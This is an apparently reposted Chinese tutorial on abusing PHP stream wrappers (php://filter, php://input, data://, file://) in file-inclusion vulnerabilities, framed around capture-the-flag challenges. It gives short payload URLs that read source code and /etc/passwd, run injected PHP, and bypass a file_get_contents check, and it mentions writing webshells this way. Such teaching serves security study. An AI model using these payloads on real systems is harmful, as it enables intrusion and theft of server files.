zoukankan      html  css  js  c++  java
  • jQuery火箭图标返回顶部代码

    伪协议与文件包含

    文件包含漏洞可以用到各种伪协议

    0x01文件包含函数

    php当中会造成文件包含漏洞的函数有:include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file

    php、data伪协议读文件和代码执行的方式:

    复制代码
    1.?file=data:text/plain,<?php phpinfo()?>  #GET数据
    
    2.?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=  #后面的base64字符是需要传入的字符串的base64编码
    
    3.?file=php://input [POST DATA:]<?php phpinfo()?>  #POST数据
    
    4.?file=php://filter/read=convert.base64-encode/resource=xxx.php  #get读源码
    复制代码

    0x02 php伪协议

    需要开启allow_url_fopen的:php://input、php://stdin、php://memory和php://temp

    不需要开启allow_wrl_fopen的:php://filter

    在CTF中经常使用的是php://filter和php://input

    php://filter用于读取源码,php://input用于执行php代码

    php://input需要post请求提交数据

    php://filter可以get提交?a=php://filter/read=convert.base64-encode/resource=xxx.php

    0x03 data伪协议

    ctf常用:

    ?xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码
    ?file=data:text/plain,<?php phpinfo()?> 

    0x04 file协议

    File:// 访问本地文件系统

    file:// 用于访问本地文件系统,如c:盘中的东西。在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。

    file:// [文件的绝对路径和文件名]

    linux 系统环境下:?file=file:///etc/passwd

    winows 系统环境下:?file=file:///E:phpStudyWWWcodephpinfo.php

    伪协议总结
    File协议用于读取系统文件,c盘关键内容。Php://filter 用来读取文件内容,但是要base64后出来,否则会造成文件执行从而只看到执行结果。Php://input(代码执行)可将post请求中的数据作为PHP代码执行。可以用于写木马。Data和input相似,可以代码执行,但只有在php<5.3且include=on时可以写木马。

    举个例子

     get一个file参数到file_get_contents()函数里,如果返回为指定字符串,就得到了flag

    file_get_contents()函数,而这个函数是可以绕过的

    绕过方式有多种:

     使用php://input伪协议绕过
    ① 将要GET的参数?file=php://input
    
    ② 用post方法传入想要file_get_contents()函数返回的值
    
    
    
     





    用data://伪协议绕过 将url改为:?file=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码


    
    
    
    
    
    或者将url改为:?xxx=data:text/plain,(url编码的内容)
  • 相关阅读:
    Linux下高并发socket最大连接数所受的各种限制
    Oracle DB 使用资源管理
    Oracle DB 资源管理
    C++ 封装私有堆(Private Heap)
    用宏实现 C++ Singleton 模式
    基于 crt debug 实现的 Windows 程序内存泄漏检测工具
    如何养成良好的 C++ 编程习惯 —— 内存管理
    OCP-1Z0-053-V12.02-643题
    Oracle DB 通过SQL 优化管理性能
    OCP-1Z0-052-V8.02-141题
  • 原文地址:https://www.cnblogs.com/kuaile1314/p/11897097.html
Copyright © 2011-2022 走看看